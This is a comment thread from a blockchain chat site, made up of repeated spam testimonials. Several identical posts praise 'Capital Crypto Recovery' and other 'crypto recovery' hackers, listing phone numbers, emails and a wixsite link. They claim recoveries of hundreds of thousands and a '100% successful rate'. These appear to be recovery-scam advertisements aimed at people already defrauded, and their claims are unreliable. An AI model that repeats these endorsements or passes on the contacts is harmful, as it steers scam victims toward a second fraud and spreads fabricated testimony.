    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 11.10.25 04:41 luciajessy3

    Don’t be deceived by different testimonies online that is most likely wrong. I have made use of several recovery options that got me disappointed at the end of the day but I must confess that the tech genius I eventually found is the best out here. It’s better you devise your time to find the valid professional that can help you recover your stolen or lost crypto such as bitcoins rather than falling victim of other amateur hackers that cannot get the job done. ADAMWILSON . TRADING @ CONSULTANT COM / WHATSAPP ; +1 (603) 702 ( 4335 ) is the most reliable and authentic blockchain tech expert you can work with to recover what you lost to scammers. They helped me get back on my feet and I’m very grateful for that. Contact their email today to recover your lost coins ASAP…

  • 11.10.25 10:44 Tonerdomark

    A thief took my Dogecoin and wrecked my life. Then Mr. Sylvester stepped in and changed everything. He got back €211,000 for me, every single cent of my gains. His calm confidence and strong tech skills rebuilt my trust. Thanks to him, I recovered my cash with no issues. After months of stress, I felt huge relief. I had full faith in him. If a scam stole your money, reach out to him today at { yt7cracker@gmail . com } His help sparked my full turnaround.

  • 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

Для участия в Чате вам необходим бесплатный аккаунт pro-blockchain.com Войти Регистрация
Есть вопросы?
С вами на связи 24/7
Help Icon